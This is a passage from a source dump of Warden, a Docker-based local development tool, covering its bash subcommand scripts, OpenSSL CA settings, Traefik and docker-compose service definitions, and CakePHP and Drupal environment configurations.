[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  sync <sub-command>

\033[33mOptions:\033[0m
  -h, --help        Display this help menu

\033[33mCommands:\033[0m
  start           Starts mutagen sync for the current project environment
  stop            Stops the mutagen sync for the current project environment
  list            Lists mutagen session status for current project environment
                  and optionally (with -l) the full configuration

  monitor         Continously lists mutagen session status for current project
  flush           Force a synchronization cycle on sync session for current project
  pause           Pauses the mutagen sync for the current project environment
  resume          Resumes the mutagen sync for the current project environment
  reset           Reset synchronization session history for current project environment
EOF
)


================================================
FILE: commands/usage.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

## load usage info for the given command falling back on default usage text
if [[ -f "${WARDEN_CMD_HELP}" ]]; then
  source "${WARDEN_CMD_HELP}"
else
  source "${WARDEN_DIR}/commands/usage.help"

  WARDEN_ENV_PATH="$(locateEnvPath)" || true
  if [[ -n "${WARDEN_ENV_PATH}" && -d "${WARDEN_ENV_PATH}/.warden/commands" ]]; then
    CUSTOM_COMMAND_LIST=$(ls "${WARDEN_ENV_PATH}/.warden/commands/"*.cmd)
    
    if [[ -n "${CUSTOM_COMMAND_LIST}" ]]; then
      TRIM_PREFIX="${WARDEN_ENV_PATH}/.warden/commands/"
      TRIM_SUFFIX=".cmd"
      CUSTOM_COMMANDS=""
      for COMMAND in $CUSTOM_COMMAND_LIST; do
        COMMAND=${COMMAND#"$TRIM_PREFIX"}
        COMMAND=${COMMAND%"$TRIM_SUFFIX"}
        [[ ! -e "${TRIM_PREFIX}${COMMAND}.help" ]] && continue;
        CUSTOM_COMMANDS="${CUSTOM_COMMANDS}  ${COMMAND}"$'\n'
      done

      if [[ -n "${CUSTOM_COMMANDS}" ]]; then
        CUSTOM_ENV_COMMANDS=$'\n\n'"\033[33mCustom Commands For Environment \033[35m${WARDEN_ENV_PATH##*/}\033[33m:\033[0m"
        CUSTOM_ENV_COMMANDS="$CUSTOM_ENV_COMMANDS"$'\n'"$CUSTOM_COMMANDS"
        WARDEN_USAGE=$(cat <<EOF
${WARDEN_USAGE}${CUSTOM_ENV_COMMANDS}
EOF
)
      fi
    fi
  fi
fi

echo -e "${WARDEN_USAGE}"
exit 1


================================================
FILE: commands/usage.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_HEADER='
 _       __               __         
| |     / /___ __________/ /__  ____ 
| | /| / / __ `/ ___/ __  / _ \/ __ \
| |/ |/ / /_/ / /  / /_/ /  __/ / / /
|__/|__/\__,_/_/   \__,_/\___/_/ /_/ 
'

WARDEN_USAGE=$(cat <<EOF
${WARDEN_HEADER:1}
Warden version $(cat ${WARDEN_DIR}/version)

\033[33mUsage:\033[0m
  command [options] [arguments]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu

\033[33mCommands:\033[0m
  db                Interacts with the db service on an environment (see 'warden db -h' for details)
  debug             Launches debug enabled shell within current project environment
  doctor            Software information for bug reports
  env               Controls an environment from any point within the root project directory
  env-init          Configure environment by adding '.env' file to the current working directory
  install           Initializes or updates warden configuration on host machine
  redis             Interacts with the redis service on an environment (see 'warden redis -h' for details)
  shell             Launches into a shell within the current project environment
  sign-certificate  Signs a wildcard certificate including all passed hostnames on the SAN list
  spx               Launches spx enabled shell within current project environment
  status            Display list of all running Warden project environments
  svc               Orchestrates global services such as traefik, portainer and dnsmasq via docker compose
  valkey            Interacts with the Valkey service on an environment (see 'warden valkey -h' for details)  
  version           Show version information
EOF
)


================================================
FILE: commands/valkey.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?
assertDockerRunning

if [[ ${WARDEN_VALKEY:-1} -eq 0 ]]; then
  fatal "Valkey environment is not used (WARDEN_VALKEY=0)."
fi

if [[ "${WARDEN_PARAMS[0]}" == "help" ]]; then
  $WARDEN_BIN valkey --help || exit $? && exit $?
fi

## load connection information for the Valkey service
VALKEY_CONTAINER=$($WARDEN_BIN env ps -q valkey)
if [[ ! ${VALKEY_CONTAINER} ]]; then
    fatal "No container found for Valkey service."
fi

"$WARDEN_BIN" env exec valkey valkey-cli "${WARDEN_PARAMS[@]}" "$@"


================================================
FILE: commands/valkey.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  valkey                     Launches an interactive Valkey session within the current project environment
  valkey COMMAND             Execute any valid Valkey command within the current project environment

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: commands/version.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

cat "${WARDEN_DIR}/version"


================================================
FILE: commands/vnc.cmd
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_ENV_PATH="$(locateEnvPath)" || exit $?
loadEnvConfig "${WARDEN_ENV_PATH}" || exit $?

if [[ ${WARDEN_SELENIUM} -ne 1 ]] || [[ ${WARDEN_SELENIUM_DEBUG} -ne 1 ]]; then
  fatal "The project environment must have WARDEN_SELENIUM and WARDEN_SELENIUM_DEBUG enabled to use this command"
fi

WARDEN_SELENIUM_INDEX=${WARDEN_PARAMS[0]:-1}
WARDEN_SELENIUM_VNC=${WARDEN_ENV_NAME}-${WARDEN_PARAMS[1]:-selenium}-${WARDEN_SELENIUM_INDEX}

if ! which remmina >/dev/null; then
  EXPOSE_PORT=$((5900 + WARDEN_SELENIUM_INDEX))

  echo "Connect with your VNC client to 127.0.0.1:${EXPOSE_PORT}"
  echo "    Password: secret"
  echo "You can also use URL: vnc://127.0.0.1:${EXPOSE_PORT}/?VncPassword=secret"
  ssh -N -L localhost:${EXPOSE_PORT}:${WARDEN_SELENIUM_VNC}:5900 tunnel.warden.test
else

  cat > "${WARDEN_ENV_PATH}/.remmina" <<-EOF
	[remmina]
	name=${WARDEN_SELENIUM_VNC} Debug
	proxy=
	ssh_enabled=1
	colordepth=8
	server=${WARDEN_SELENIUM_VNC}
	ssh_auth=3
	quality=9
	scale=1
	ssh_username=user
	password=.
	disablepasswordstoring=0
	viewmode=1
	window_width=1200
	window_height=780
	ssh_server=tunnel.warden.test:2222
	protocol=VNC
	EOF

  echo -e "Launching VNC session via Remmina. Password is \"\033[1msecret\"\033[0m"
  remmina -c "${WARDEN_ENV_PATH}/.remmina"
fi


================================================
FILE: commands/vnc.help
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

WARDEN_USAGE=$(cat <<EOF
\033[33mUsage:\033[0m
  vnc [index]

\033[33mOptions:\033[0m
  -h, --help        Display this help menu
EOF
)


================================================
FILE: config/openssl/certificate.conf
================================================
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_req

[req_distinguished_name]
countryName = Country Name (2 letter code)
countryName_default = US
stateOrProvinceName = State or Province Name (full name)
stateOrProvinceName_default =
localityName = Locality Name (eg, city)
localityName_default =
organizationalUnitName	= Organizational Unit Name (eg, section)
organizationalUnitName_default	= Warden Proxy
commonName = Internet Widgits Ltd
commonName_max	= 64

[ v3_req ]
# Extensions to add to a certificate request
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment


================================================
FILE: config/openssl/rootca.conf
================================================
# OpenSSL root CA configuration file.

[ ca ]
# `man ca`
default_ca = CA_default

[ CA_default ]
# Directory and file locations.
dir               = ~/.warden/ssl/rootca
certs             = $dir/certs
crl_dir           = $dir/crl
new_certs_dir     = $dir/newcerts
database          = $dir/index.txt
serial            = $dir/serial
RANDFILE          = $dir/private/.rand

# The root key and root certificate.
private_key       = $dir/private/ca.key.pem
certificate       = $dir/certs/ca.cert.pem

# For certificate revocation lists.
crlnumber         = $dir/crlnumber
crl               = $dir/crl/ca.crl.pem
crl_extensions    = crl_ext
default_crl_days  = 30

# SHA-1 is deprecated, so use SHA-2 instead.
default_md        = sha256

unique_subject    = no

name_opt          = ca_default
cert_opt          = ca_default
default_days      = 375
preserve          = no
policy            = policy_loose
copy_extensions   = copyall

[ policy_loose ]
# See the POLICY FORMAT section of the `ca` man page.
countryName             = optional
stateOrProvinceName     = optional
localityName            = optional
organizationName        = optional
organizationalUnitName  = optional
commonName              = supplied
emailAddress            = optional

[ req ]
# Options for the `req` tool (`man req`).
default_bits        = 2048
distinguished_name  = req_distinguished_name
string_mask         = utf8only

# SHA-1 is deprecated, so use SHA-2 instead.
default_md          = sha256

# Extension to add when the -x509 option is used.
x509_extensions     = v3_ca

[ req_distinguished_name ]
# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.
countryName                     = Country Name (2 letter code)
stateOrProvinceName             = State or Province Name
localityName                    = Locality Name
0.organizationName              = Organization Name
organizationalUnitName          = Organizational Unit Name
commonName                      = Common Name
emailAddress                    = Email Address

# Optionally, specify some defaults.
countryName_default             = US
stateOrProvinceName_default     =
localityName_default            =
0.organizationName_default      =
organizationalUnitName_default  =
emailAddress_default            =

[ v3_ca ]
# Extensions for a typical CA (`man x509v3_config`).
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
basicConstraints = critical, CA:true
keyUsage = critical, digitalSignature, cRLSign, keyCertSign

[ v3_intermediate_ca ]
# Extensions for a typical intermediate CA (`man x509v3_config`).
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
basicConstraints = critical, CA:true, pathlen:0
keyUsage = critical, digitalSignature, cRLSign, keyCertSign

[ usr_cert ]
# Extensions for client certificates (`man x509v3_config`).
basicConstraints = CA:FALSE
nsCertType = client, email
nsComment = "OpenSSL Generated Client Certificate"
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth, emailProtection

[ server_cert ]
# Extensions for server certificates (`man x509v3_config`).
basicConstraints = CA:FALSE
nsCertType = server
nsComment = "OpenSSL Generated Server Certificate"
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer:always
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth

[ crl_ext ]
# Extension for CRLs (`man x509v3_config`).
authorityKeyIdentifier=keyid:always

[ ocsp ]
# Extension for OCSP signing certificates (`man ocsp`).
basicConstraints = CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
keyUsage = critical, digitalSignature
extendedKeyUsage = critical, OCSPSigning


================================================
FILE: config/traefik/traefik.yml
================================================
---
api:
  dashboard: true
providers:
  file:
    filename: /etc/traefik/dynamic.yml
  docker:
    network: warden
    defaultRule: "Host(`{{ .Name }}.warden.test`)"
    exposedByDefault: false
entryPoints:
  http:
    address: ":80"
    http:
      redirections:
        entryPoint:
          to: https
          scheme: https
  https:
    address: ":443"
log:
  level: info
global:
  checkNewVersion: false
  sendAnonymousUsage: false
# v2 BC compatibility for router rule syntax (global default) @see https://doc.traefik.io/traefik/v3.0/migration/v2-to-v3/#step-1-prepare-configurations-and-test-v3
# v3 rule syntax is opt-in per router via label traefik.http.routers.some-router.ruleSyntax=v3
core:
  defaultRuleSyntax: v2


================================================
FILE: docker/docker-compose.dnsmasq.yml
================================================
services:

  dnsmasq:
    container_name: dnsmasq
    image: wardenenv/dnsmasq
    ports:
      - "127.0.0.1:53:53/udp"
    environment:
      WARDEN_DNSMASQ_CONF: |-
        #dnsmasq config, for a complete example, see:
        #  http://oss.segetech.com/intra/srv/dnsmasq.conf

        #log all dns queries (enable as-needed for debugging purposes)
        # log-queries

        #dont use hosts nameservers
        no-resolv

        #use cloudflare as default nameservers, prefer 1^4
        server=${WARDEN_DNSMASQ_NS1:-1.0.0.1}
        server=${WARDEN_DNSMASQ_NS2:-1.1.1.1}
        strict-order

        #explicitly define host-ip mappings
        address=/.test/127.0.0.1
        ${WARDEN_DNSMASQ_CONF_ADDITIONAL:-}

    entrypoint: ["/bin/sh", "-c", "
        echo \"$$WARDEN_DNSMASQ_CONF\" > /etc/dnsmasq.conf;
        webproc --configuration-file /etc/dnsmasq.conf -- dnsmasq --no-daemon;
      "]
    labels:
      - traefik.enable=true
      - traefik.http.routers.dnsmasq.tls=true
      - traefik.http.routers.dnsmasq.rule=Host(`dnsmasq.${WARDEN_SERVICE_DOMAIN:-warden.test}`)
      - traefik.http.services.dnsmasq.loadbalancer.server.port=8080
    restart: ${WARDEN_RESTART_POLICY:-always}


================================================
FILE: docker/docker-compose.mailpit.yml
================================================
services:
  mailpit:
    container_name: mailhog
    image: axllent/mailpit:${WARDEN_MAILPIT_VERSION:-latest}
    environment:
      - MP_DATABASE=/data/mailpit.db
    volumes:
      - mailpitdata:/data
    labels:
      traefik.enable: true
      traefik.http.routers.mailpit.tls: true
      traefik.http.routers.mailpit.priority: 2
      traefik.http.routers.mailpit.rule: Host(`webmail.${WARDEN_SERVICE_DOMAIN:-warden.test}`)
      traefik.http.routers.mailpit.service: mailpit
      traefik.http.services.mailpit.loadbalancer.server.port: 8025
      # Legacy Mailhog redirect
      traefik.http.routers.legacy-mailhog.tls: true
      traefik.http.routers.legacy-mailhog.priority: 1
      traefik.http.routers.legacy-mailhog.rule: Host(`mailhog.${WARDEN_SERVICE_DOMAIN:-warden.test}`)
      traefik.http.routers.legacy-mailhog.middlewares: legacy-mailhog-redirect
      traefik.http.middlewares.legacy-mailhog-redirect.redirectregex.regex: "^https?://mailhog\\.([^/]+)/.*"
      traefik.http.middlewares.legacy-mailhog-redirect.redirectregex.replacement: https://webmail.$${1}/
      traefik.http.middlewares.legacy-mailhog-redirect.redirectregex.permanent: true

    restart: ${WARDEN_RESTART_POLICY:-always}
volumes:
  mailpitdata:

================================================
FILE: docker/docker-compose.phpmyadmin.yml
================================================
services:
  phpmyadmin:
    container_name: phpmyadmin
    image: phpmyadmin
    environment:
      - PMA_ARBITRARY=1
      - PMA_ABSOLUTE_URI=https://phpmyadmin.${WARDEN_SERVICE_DOMAIN:-warden.test}
    volumes:
      - /sessions
      - ${WARDEN_HOME_DIR}/etc/phpmyadmin/config.user.inc.php:/etc/phpmyadmin/config.user.inc.php
    labels:
      - traefik.enable=true
      - traefik.http.routers.phpmyadmin.tls=true
      - traefik.http.routers.phpmyadmin.rule=Host(`phpmyadmin.${WARDEN_SERVICE_DOMAIN:-warden.test}`)||Host(`phpmyadmin.warden.test`)
      - traefik.http.services.phpmyadmin.loadbalancer.server.port=80
    restart: ${WARDEN_RESTART_POLICY:-always}


================================================
FILE: docker/docker-compose.portainer.yml
================================================
services:
  portainer:
    container_name: portainer
    image: portainer/portainer-ce
    volumes:
      - ${WARDEN_DOCKER_SOCK}:/var/run/docker.sock
      - portainer:/data
    labels:
      - traefik.enable=true
      - traefik.http.routers.portainer.tls=true
      - traefik.http.routers.portainer.rule=Host(`portainer.${WARDEN_SERVICE_DOMAIN:-warden.test}`)
      - traefik.http.services.portainer.loadbalancer.server.port=9000
    restart: ${WARDEN_RESTART_POLICY:-always}


================================================
FILE: docker/docker-compose.yml
================================================
services:
  traefik:
    container_name: traefik
    image: traefik:${TRAEFIK_VERSION:-3.6}
    ports:
      - "${TRAEFIK_LISTEN:-127.0.0.1}:80:80"     # The HTTP port
      - "${TRAEFIK_LISTEN:-127.0.0.1}:443:443"   # The HTTPS port
    volumes:
      - ${WARDEN_HOME_DIR}/etc/traefik/traefik.yml:/etc/traefik/traefik.yml
      - ${WARDEN_HOME_DIR}/etc/traefik/dynamic.yml:/etc/traefik/dynamic.yml
      - ${WARDEN_HOME_DIR}/ssl/certs:/etc/ssl/certs/warden
      - ${WARDEN_DOCKER_SOCK}:/var/run/docker.sock
    labels:
      - traefik.enable=true
      - traefik.http.routers.traefik.tls=true
      - traefik.http.routers.traefik.rule=Host(`traefik.${WARDEN_SERVICE_DOMAIN:-warden.test}`)
      - traefik.http.routers.traefik.service=api@internal
    restart: ${WARDEN_RESTART_POLICY:-always}

  tunnel:
    container_name: tunnel
    image: panubo/sshd:latest
    ports:
      - "127.0.0.1:2222:22"
    volumes:
      - ${WARDEN_HOME_DIR}/tunnel/ssh_key.pub:/etc/authorized_keys/user
      - sshd_keys:/etc/ssh/keys
    environment:
      - |
        MOTD=Welcome to the Warden SSH tunnel container!

        This tunnel container is used only for forwarding TCP
        connections, generally to port 3306 of db containers
        and is not typically used with an interactive shell.

      - SSH_USERS=user:2000:2000
      - TCP_FORWARDING=true
    restart: ${WARDEN_RESTART_POLICY:-always}

volumes:
  portainer:
  sshd_keys:

networks:
  default:
    name: warden


================================================
FILE: environments/cakephp/cakephp.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=/webroot
      - NGINX_TEMPLATE=/cakephp.conf

================================================
FILE: environments/cakephp/cakephp.darwin.yml
================================================

x-volumes: &volumes
  - appdata:/var/www/html

services:
  nginx: { volumes: *volumes }
  php-fpm: { volumes: *volumes }
  php-debug: { volumes: *volumes }

volumes:
  appdata:


================================================
FILE: environments/cakephp/cakephp.mutagen.yml
================================================
---
sync:
  defaults:
    mode: two-way-resolved
    watch:
      pollingInterval: 10
    ignore:
      vcs: true
      paths:
        # Root .git folder 
        - "/.git/"

        # System files
        - ".DS_Store"
        - "._*"

        # Vim files
        - "*~"
        - "*.sw[a-p]"

        # CakePHP files
        - "/logs/**"
        - "/tmp/**"

    permissions:
      defaultFileMode: "0644"
      defaultDirectoryMode: "0755"


================================================
FILE: environments/cakephp/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-cakephp}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-cakephp}
      - MYSQL_USER=${MYSQL_USER:-cakephp}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-cakephp}
    command:
      - mysqld
      - --max_allowed_packet=1024M
      - --explicit_defaults_for_timestamp=on
      - --transaction-isolation=READ-COMMITTED

================================================
FILE: environments/cakephp/init.env
================================================
DB_DISTRIBUTION=mariadb
DB_DISTRIBUTION_VERSION=10.4
NODE_VERSION=20
COMPOSER_VERSION=2
PHP_VERSION=8.3
PHP_XDEBUG_3=1

WARDEN_DB=1
WARDEN_RABBITMQ=0
WARDEN_REDIS=1

WARDEN_ELASTICSEARCH=0
WARDEN_ELASTICHQ=0
WARDEN_OPENSEARCH=0
WARDEN_VARNISH=0

RABBITMQ_VERSION=3.8

WARDEN_SYNC_IGNORE=

WARDEN_ALLURE=0
WARDEN_SELENIUM=0
WARDEN_SELENIUM_DEBUG=0
WARDEN_BLACKFIRE=0

BLACKFIRE_CLIENT_ID=
BLACKFIRE_CLIENT_TOKEN=
BLACKFIRE_SERVER_ID=
BLACKFIRE_SERVER_TOKEN=


================================================
FILE: environments/drupal/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-drupal}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-drupal}
      - MYSQL_USER=${MYSQL_USER:-drupal}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-drupal}
    command:
      - mysqld
      - --max_allowed_packet=1024M
      - --explicit_defaults_for_timestamp=on
      - --transaction-isolation=READ-COMMITTED

================================================
FILE: environments/drupal/drupal.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=/web
      - NGINX_TEMPLATE=/drupal.conf

================================================
FILE: environments/drupal/drupal.mutagen.yml
================================================
---
sync:
  defaults:
    mode: two-way-resolved
    watch:
      pollingInterval: 10
    ignore:
      vcs: true
      paths:
        # Root .git folder 
        - "/.git/"

        # System files
        - ".DS_Store"
        - "._*"

        # Vim files
        - "*~"
        - "*.sw[a-p]"

        # Drupal files
        - "web/sites/default/files/**"
        - "web/sites/default/private/**"


    permissions:
      defaultFileMode: "0644"
      defaultDirectoryMode: "0755"


================================================
FILE: environments/drupal/drupal.mutagen_compose.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/web/sites/default/files:/var/www/html/web/sites/default/files:cached
  - .${WARDEN_WEB_ROOT:-}/web/sites/default/private:/var/www/html/web/sites/default/private:cached
  - appdata:/var/www/html

x-environment: &environment
  - CHOWN_DIR_LIST=web/sites/default/files web/sites/default/private ${CHOWN_DIR_LIST:-}

services:
  nginx: { volumes: *volumes }
  php-fpm: { volumes: *volumes, environment: *environment }
  php-debug: { volumes: *volumes, environment: *environment }

volumes:
  appdata:


================================================
FILE: environments/drupal/drupal.settings.base.yml
================================================

x-volumes: &settings
  - .${WARDEN_WEB_ROOT:-}/web/sites/default/settings.php:/var/www/html/web/sites/default/settings.php

services:
  php-fpm: { volumes: *settings }
  php-debug: { volumes: *settings }

================================================
FILE: environments/drupal/init.env
================================================
DB_DISTRIBUTION=mariadb
DB_DISTRIBUTION_VERSION=10.4
NODE_VERSION=18
COMPOSER_VERSION=2
PHP_VERSION=8.2
PHP_XDEBUG_3=1

WARDEN_DB=1
WARDEN_RABBITMQ=0
WARDEN_REDIS=0
WARDEN_PHP_SPX=0

RABBITMQ_VERSION=3.8

WARDEN_SYNC_IGNORE=

WARDEN_ALLURE=0
WARDEN_SELENIUM=0
WARDEN_SELENIUM_DEBUG=0
WARDEN_BLACKFIRE=0

BLACKFIRE_CLIENT_ID=
BLACKFIRE_CLIENT_TOKEN=
BLACKFIRE_SERVER_ID=
BLACKFIRE_SERVER_TOKEN=


================================================
FILE: environments/drupal/init.env.cmd
================================================
# If Drupal directories exist, make sure the minimum user-content upload directories exist
if [[ -d "${WARDEN_ENV_PATH}/web/sites/default" ]] && [[ ! -d "${WARDEN_ENV_PATH}/web/sites/default/files" ]]
then
	echo -e "\033[1;33m[!] \033[0mCreating missing user-content directory: \"\033[36m${WARDEN_ENV_PATH}/web/sites/default/files\033[0m\"."
	mkdir -p "${WARDEN_ENV_PATH}/web/sites/default/files"
fi

if [[ ! -d "${WARDEN_ENV_PATH}/web/sites/default/private" ]]; then
	echo -e "\033[1;33m[!] \033[0mCreating missing private user-content directory: \"\033[36m${WARDEN_ENV_PATH}/web/sites/default/private\033[0m\"."
	mkdir -p "${WARDEN_ENV_PATH}/web/sites/default/private"
	cat > "${WARDEN_ENV_PATH}/web/sites/default/private/.htaccess" <<-EOT
		# Drupal SA-CORE-2013-003
		# This file attempts to provide defense in depth to Apache servers. See
		# https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2013-11-20/sa-core-2013-003-drupal-core

		# Turn off all options we don't need.
		Options None
		Options +FollowSymLinks

		# Set the catch-all handler to prevent scripts from being executed.
		SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
		<Files *>
		# Override the handler again if we're run later in the evaluation list.
		SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
		</Files>

		# If we know how to do it safely, disable the PHP engine entirely.
		<IfModule mod_php5.c>
		php_flag engine off
		</IfModule>

		Deny from all
	EOT
fi


================================================
FILE: environments/includes/allure.base.yml
================================================
services:
  allure:
    hostname: "${WARDEN_ENV_NAME}-allure"
    image: frankescobar/allure-docker-service:latest
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-allure.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-allure.rule=Host(`allure.${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-allure.loadbalancer.server.port=4040
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
      # TODO; configure the Allure API; these rules result in allure sub-domain no longer routing
      # - traefik.http.routers.${WARDEN_ENV_NAME}-allure-api.tls=true
      # - traefik.http.routers.${WARDEN_ENV_NAME}-allure-api.rule=Host(`allure-api.${TRAEFIK_DOMAIN}`)
      # - traefik.http.services.${WARDEN_ENV_NAME}-allure-api.loadbalancer.server.port=5050
    volumes:
      - allure-results:/app/allure-results
    environment:
      CHECK_RESULTS_EVERY_SECONDS: 5
      KEEP_HISTORY: "TRUE"

  php-fpm:
    volumes:
      - allure-results:/var/allure-results

  php-debug:
    volumes:
      - allure-results:/var/allure-results

volumes:
  allure-results:


================================================
FILE: environments/includes/blackfire.base.yml
================================================

x-volumes: &volumes
  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro
  - ${WARDEN_COMPOSER_DIR}:/home/www-data/.composer:cached
  - .${WARDEN_WEB_ROOT:-}/:/var/www/html:cached

x-extra_hosts: &extra_hosts
    - ${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
    - ${TRAEFIK_SUBDOMAIN:-app}.${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}

services:
  php-blackfire:
    hostname: "${WARDEN_ENV_NAME}-php-blackfire"
    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7.4}${WARDEN_SVC_PHP_VARIANT:-}-blackfire
    environment:
      - TRAEFIK_DOMAIN
      - TRAEFIK_SUBDOMAIN
      - SSH_AUTH_SOCK=${SSH_AUTH_SOCK_PATH_ENV:-/tmp/ssh-auth.sock}
      - NODE_VERSION=${NODE_VERSION:-12}
      - COMPOSER_VERSION=${COMPOSER_VERSION:-1}
      - COMPOSER_MEMORY_LIMIT=-1
      - BLACKFIRE_CLIENT_ID=${BLACKFIRE_CLIENT_ID}
      - BLACKFIRE_CLIENT_TOKEN=${BLACKFIRE_CLIENT_TOKEN}
    volumes: *volumes
    extra_hosts: *extra_hosts
    depends_on:
      - php-fpm

  blackfire-agent:
    hostname: "${WARDEN_ENV_NAME}-blackfire-agent"
    image: blackfire/blackfire:latest
    environment:
      - BLACKFIRE_CLIENT_ID=${BLACKFIRE_CLIENT_ID}
      - BLACKFIRE_CLIENT_TOKEN=${BLACKFIRE_CLIENT_TOKEN}
      - BLACKFIRE_SERVER_ID=${BLACKFIRE_SERVER_ID}
      - BLACKFIRE_SERVER_TOKEN=${BLACKFIRE_SERVER_TOKEN}
    extra_hosts: *extra_hosts


================================================
FILE: environments/includes/blackfire.darwin.yml
================================================
services:
  php-blackfire:
    volumes:
      - /run/host-services/ssh-auth.sock:/run/host-services/ssh-auth.sock


================================================
FILE: environments/includes/blackfire.linux.yml
================================================
services:
  php-blackfire:
    volumes:
      - ${SSH_AUTH_SOCK:-/dev/null}:/run/host-services/ssh-auth.sock


================================================
FILE: environments/includes/db.base.yml
================================================
services:
  php-fpm:
    depends_on:
      - db

  db:
    hostname: "${WARDEN_ENV_NAME}-mariadb"
    image: ${WARDEN_IMAGE_REPOSITORY}/${MYSQL_DISTRIBUTION:-mariadb}:${MYSQL_DISTRIBUTION_VERSION:-${MARIADB_VERSION:-10.6}}
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-app}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-app}
      - MYSQL_USER=${MYSQL_USER:-app}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-app}
      - MYSQL_HISTFILE=/sql_history/.sql_history
    volumes:
      - dbdata:/var/lib/mysql
      - sqlhistory:/sql_history

volumes:
  dbdata:
  sqlhistory:


================================================
FILE: environments/includes/elastichq.base.yml
================================================
services:
  elasticsearch-hq:
    hostname: "${WARDEN_ENV_NAME}-elasticsearch-hq"
    image: elastichq/elasticsearch-hq:latest
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-elasticsearch-hq.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-elasticsearch-hq.rule=Host(`elastichq.${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-elasticsearch-hq.loadbalancer.server.port=5000
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
    environment:
      - HQ_DEFAULT_URL=http://elasticsearch:9200

volumes:
  esdata:


================================================
FILE: environments/includes/elasticsearch.base.yml
================================================
services:
  elasticsearch:
    hostname: "${WARDEN_ENV_NAME}-elasticsearch"
    image: ${WARDEN_IMAGE_REPOSITORY}/elasticsearch:${ELASTICSEARCH_VERSION:-8.11}
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-elasticsearch.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-elasticsearch.rule=Host(`elasticsearch.${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-elasticsearch.loadbalancer.server.port=9200
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms64m -Xmx512m"
    volumes:
      - esdata:/usr/share/elasticsearch/data

volumes:
  esdata:


================================================
FILE: environments/includes/networks.base.yml
================================================
networks:
  default:
    labels:
      - dev.warden.environment.name=${WARDEN_ENV_NAME}
      - dev.warden.environment.type=${WARDEN_ENV_TYPE}


================================================
FILE: environments/includes/nginx.base.yml
================================================
services:
  nginx:
    hostname: "${WARDEN_ENV_NAME}-nginx"
    image: ${WARDEN_IMAGE_REPOSITORY}/nginx:${NGINX_VERSION:-1.16}
    labels:
      - traefik.enable=true
